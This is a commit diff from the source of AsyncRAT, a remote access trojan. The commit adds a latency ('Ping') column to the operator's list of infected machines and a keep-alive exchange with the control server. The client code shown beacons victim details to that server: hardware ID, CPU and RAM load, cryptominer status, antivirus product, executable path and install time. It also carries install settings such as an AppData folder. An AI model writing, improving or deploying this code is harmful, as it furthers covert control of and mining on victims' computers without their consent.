update
added ping to listview
This commit is contained in:
parent
39d95a7e32
commit
be5d0d5424
@ -30,6 +30,7 @@ namespace Client.Connection
|
||||
private static MemoryStream MS { get; set; }
|
||||
public static bool IsConnected { get; set; }
|
||||
private static object SendSync { get; } = new object();
|
||||
public static Stopwatch Pong { get; set; }
|
||||
|
||||
public static void InitializeClient()
|
||||
{
|
||||
@ -89,7 +90,8 @@ namespace Client.Connection
|
||||
Buffer = new byte[4];
|
||||
MS = new MemoryStream();
|
||||
Send(IdSender.SendInfo());
|
||||
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
||||
Tick = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 60 * 1000));
|
||||
Pong = new Stopwatch();
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
}
|
||||
else
|
||||
@ -235,14 +237,15 @@ namespace Client.Connection
|
||||
}
|
||||
}
|
||||
|
||||
public static void CheckServer(object obj)
|
||||
public static void KeepAlivePacket(object obj)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)IdSender.TheCPUCounter.NextValue()}% RAM {(int)IdSender.TheMemCounter.NextValue()}%";
|
||||
Send(msgpack.Encode2Bytes());
|
||||
Pong.Reset();
|
||||
Pong.Start();
|
||||
GC.Collect();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
@ -25,9 +25,13 @@ namespace Client.Handle_Packet
|
||||
unpack_msgpack.DecodeFromBytes((byte[])data);
|
||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||
{
|
||||
case "Ping":
|
||||
case "pong":
|
||||
{
|
||||
Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
|
||||
ClientSocket.Pong.Stop();
|
||||
MsgPack msgPack = new MsgPack();
|
||||
msgPack.ForcePathObject("Packet").SetAsString("pong");
|
||||
msgPack.ForcePathObject("Message").SetAsInteger(ClientSocket.Pong.ElapsedMilliseconds);
|
||||
ClientSocket.Send(msgPack.Encode2Bytes());
|
||||
break;
|
||||
}
|
||||
|
||||
@ -68,15 +72,6 @@ namespace Client.Handle_Packet
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
//case "cleanPlugin": // server want to clean and re save all plugins
|
||||
// {
|
||||
// SetRegistry.DeleteSubKey();
|
||||
// MsgPack msgPack = new MsgPack();
|
||||
// msgPack.ForcePathObject("Packet").SetAsString("sendPlugin+");
|
||||
// ClientSocket.Send(msgPack.Encode2Bytes());
|
||||
// break;
|
||||
// }
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
@ -1,16 +1,13 @@
|
||||
using Client.MessagePack;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
public class IdSender
|
||||
public static class IdSender
|
||||
{
|
||||
public static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total");
|
||||
public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use");
|
||||
@ -31,6 +28,7 @@ namespace Client.Helper
|
||||
msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin;
|
||||
msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus();
|
||||
msgpack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();
|
||||
msgpack.ForcePathObject("Pong").AsString = "";
|
||||
return msgpack.Encode2Bytes();
|
||||
}
|
||||
}
|
||||
|
@ -13,7 +13,7 @@ namespace Client
|
||||
#if DEBUG
|
||||
public static string Ports = "6606";
|
||||
public static string Hosts = "127.0.0.1";
|
||||
public static string Version = "0.5.4F";
|
||||
public static string Version = "0.5.4G";
|
||||
public static string Install = "false";
|
||||
public static string InstallFolder = "AppData";
|
||||
public static string InstallFile = "Test.exe";
|
||||
|
43
AsyncRAT-C#/Server/Forms/Form1.Designer.cs
generated
43
AsyncRAT-C#/Server/Forms/Form1.Designer.cs
generated
@ -37,6 +37,7 @@
|
||||
this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_version = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_ins = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_admin = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_av = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_prefor = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
@ -124,7 +125,7 @@
|
||||
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
|
||||
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
|
||||
this.TimerTask = new System.Windows.Forms.Timer(this.components);
|
||||
this.lv_ins = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_ping = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.contextMenuClient.SuspendLayout();
|
||||
this.statusStrip1.SuspendLayout();
|
||||
this.tabControl1.SuspendLayout();
|
||||
@ -152,6 +153,7 @@
|
||||
this.lv_ins,
|
||||
this.lv_admin,
|
||||
this.lv_av,
|
||||
this.lv_ping,
|
||||
this.lv_prefor});
|
||||
this.listView1.ContextMenuStrip = this.contextMenuClient;
|
||||
this.listView1.Dock = System.Windows.Forms.DockStyle.Fill;
|
||||
@ -172,12 +174,12 @@
|
||||
//
|
||||
// lv_ip
|
||||
//
|
||||
this.lv_ip.Text = "IP";
|
||||
this.lv_ip.Text = "IP Address";
|
||||
this.lv_ip.Width = 121;
|
||||
//
|
||||
// lv_country
|
||||
//
|
||||
this.lv_country.Text = "COUNTRY";
|
||||
this.lv_country.Text = "Country";
|
||||
this.lv_country.Width = 124;
|
||||
//
|
||||
// lv_hwid
|
||||
@ -187,32 +189,37 @@
|
||||
//
|
||||
// lv_user
|
||||
//
|
||||
this.lv_user.Text = "USER";
|
||||
this.lv_user.Text = "Username";
|
||||
this.lv_user.Width = 117;
|
||||
//
|
||||
// lv_os
|
||||
//
|
||||
this.lv_os.Text = "OPERATING SYSTEM";
|
||||
this.lv_os.Text = "Operating System";
|
||||
this.lv_os.Width = 179;
|
||||
//
|
||||
// lv_version
|
||||
//
|
||||
this.lv_version.Text = "VERSION";
|
||||
this.lv_version.Text = "Payload Version";
|
||||
this.lv_version.Width = 126;
|
||||
//
|
||||
// lv_ins
|
||||
//
|
||||
this.lv_ins.Text = "Installed UTC";
|
||||
this.lv_ins.Width = 120;
|
||||
//
|
||||
// lv_admin
|
||||
//
|
||||
this.lv_admin.Text = "PRIVILEGES";
|
||||
this.lv_admin.Text = "Privileges";
|
||||
this.lv_admin.Width = 166;
|
||||
//
|
||||
// lv_av
|
||||
//
|
||||
this.lv_av.Text = "ANTI-VIRUS";
|
||||
this.lv_av.Text = "Anti-Virus Software";
|
||||
this.lv_av.Width = 136;
|
||||
//
|
||||
// lv_prefor
|
||||
//
|
||||
this.lv_prefor.Text = "PERFORMANCE";
|
||||
this.lv_prefor.Text = "Performance";
|
||||
this.lv_prefor.Width = 200;
|
||||
//
|
||||
// contextMenuClient
|
||||
@ -708,7 +715,7 @@
|
||||
this.tabPage2.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage2.Name = "tabPage2";
|
||||
this.tabPage2.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage2.Size = new System.Drawing.Size(1360, 446);
|
||||
this.tabPage2.Size = new System.Drawing.Size(1293, 446);
|
||||
this.tabPage2.TabIndex = 1;
|
||||
this.tabPage2.Text = "Logs";
|
||||
this.tabPage2.UseVisualStyleBackColor = true;
|
||||
@ -728,7 +735,7 @@
|
||||
this.listView2.Name = "listView2";
|
||||
this.listView2.ShowGroups = false;
|
||||
this.listView2.ShowItemToolTips = true;
|
||||
this.listView2.Size = new System.Drawing.Size(1354, 440);
|
||||
this.listView2.Size = new System.Drawing.Size(1287, 440);
|
||||
this.listView2.TabIndex = 1;
|
||||
this.listView2.UseCompatibleStateImageBehavior = false;
|
||||
this.listView2.View = System.Windows.Forms.View.Details;
|
||||
@ -764,7 +771,7 @@
|
||||
this.tabPage3.Controls.Add(this.listView3);
|
||||
this.tabPage3.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage3.Name = "tabPage3";
|
||||
this.tabPage3.Size = new System.Drawing.Size(1360, 446);
|
||||
this.tabPage3.Size = new System.Drawing.Size(1293, 446);
|
||||
this.tabPage3.TabIndex = 2;
|
||||
this.tabPage3.Text = "Thumbnail";
|
||||
this.tabPage3.UseVisualStyleBackColor = true;
|
||||
@ -778,7 +785,7 @@
|
||||
this.listView3.Location = new System.Drawing.Point(0, 0);
|
||||
this.listView3.Name = "listView3";
|
||||
this.listView3.ShowItemToolTips = true;
|
||||
this.listView3.Size = new System.Drawing.Size(1360, 446);
|
||||
this.listView3.Size = new System.Drawing.Size(1293, 446);
|
||||
this.listView3.SmallImageList = this.ThumbnailImageList;
|
||||
this.listView3.TabIndex = 0;
|
||||
this.listView3.UseCompatibleStateImageBehavior = false;
|
||||
@ -820,7 +827,7 @@
|
||||
this.tabPage4.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage4.Name = "tabPage4";
|
||||
this.tabPage4.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage4.Size = new System.Drawing.Size(1360, 446);
|
||||
this.tabPage4.Size = new System.Drawing.Size(1293, 446);
|
||||
this.tabPage4.TabIndex = 3;
|
||||
this.tabPage4.Text = "Tasks";
|
||||
this.tabPage4.UseVisualStyleBackColor = true;
|
||||
@ -837,7 +844,7 @@
|
||||
this.listView4.HideSelection = false;
|
||||
this.listView4.Location = new System.Drawing.Point(3, 3);
|
||||
this.listView4.Name = "listView4";
|
||||
this.listView4.Size = new System.Drawing.Size(1354, 440);
|
||||
this.listView4.Size = new System.Drawing.Size(1287, 440);
|
||||
this.listView4.TabIndex = 0;
|
||||
this.listView4.UseCompatibleStateImageBehavior = false;
|
||||
this.listView4.View = System.Windows.Forms.View.Details;
|
||||
@ -929,10 +936,9 @@
|
||||
this.TimerTask.Interval = 5000;
|
||||
this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
|
||||
//
|
||||
// lv_ins
|
||||
// lv_ping
|
||||
//
|
||||
this.lv_ins.Text = "Installed UTC";
|
||||
this.lv_ins.Width = 120;
|
||||
this.lv_ping.Text = "Ping";
|
||||
//
|
||||
// Form1
|
||||
//
|
||||
@ -1064,6 +1070,7 @@
|
||||
private System.Windows.Forms.ToolStripSeparator toolStripSeparator5;
|
||||
private System.Windows.Forms.ToolStripMenuItem blockClientsToolStripMenuItem;
|
||||
private System.Windows.Forms.ColumnHeader lv_ins;
|
||||
public System.Windows.Forms.ColumnHeader lv_ping;
|
||||
}
|
||||
}
|
||||
|
||||
|
File diff suppressed because one or more lines are too long
@ -60,11 +60,19 @@ namespace Server.Handle_Packet
|
||||
}
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
|
||||
try
|
||||
{
|
||||
client.LV.SubItems.Add("0000 MS");
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.LV.SubItems.Add("Outdated stub");
|
||||
}
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online"));
|
||||
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
|
||||
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
|
||||
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
|
||||
|
||||
client.LV.UseItemStyleForSubItems = false;
|
||||
lock (Settings.LockListviewClients)
|
||||
{
|
||||
Program.form1.listView1.Items.Add(client.LV);
|
||||
|
@ -2,15 +2,20 @@
|
||||
using Server.Connection;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
using System.Threading;
|
||||
using System.Drawing;
|
||||
|
||||
namespace Server.Handle_Packet
|
||||
{
|
||||
public class HandlePing
|
||||
{
|
||||
public HandlePing(Clients client, MsgPack unpack_msgpack)
|
||||
public void Ping(Clients client, MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").SetAsString("pong");
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
lock (Settings.LockListviewClients)
|
||||
if (client.LV != null)
|
||||
client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online");
|
||||
@ -19,5 +24,31 @@ namespace Server.Handle_Packet
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public void Pong(Clients client, MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
lock (Settings.LockListviewClients)
|
||||
if (client.LV != null)
|
||||
{
|
||||
client.LV.SubItems[Program.form1.lv_ping.Index].Text = unpack_msgpack.ForcePathObject("Message").AsInteger.ToString() + " MS";
|
||||
if (unpack_msgpack.ForcePathObject("Message").AsInteger > 600)
|
||||
{
|
||||
client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Red;
|
||||
}
|
||||
else if (unpack_msgpack.ForcePathObject("Message").AsInteger > 300)
|
||||
{
|
||||
client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Orange;
|
||||
}
|
||||
else
|
||||
{
|
||||
client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Green;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -33,7 +33,13 @@ namespace Server.Handle_Packet
|
||||
|
||||
case "Ping":
|
||||
{
|
||||
new HandlePing(client, unpack_msgpack);
|
||||
new HandlePing().Ping(client, unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "pong":
|
||||
{
|
||||
new HandlePing().Pong(client, unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
|
@ -17,7 +17,7 @@ namespace Server
|
||||
|
||||
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
|
||||
public static X509Certificate2 ServerCertificate;
|
||||
public static readonly string Version = "AsyncRAT 0.5.4F";
|
||||
public static readonly string Version = "AsyncRAT 0.5.4G";
|
||||
public static object LockListviewClients = new object();
|
||||
public static object LockListviewLogs = new object();
|
||||
public static object LockListviewThumb = new object();
|
||||
|
Loading…
x
Reference in New Issue
Block a user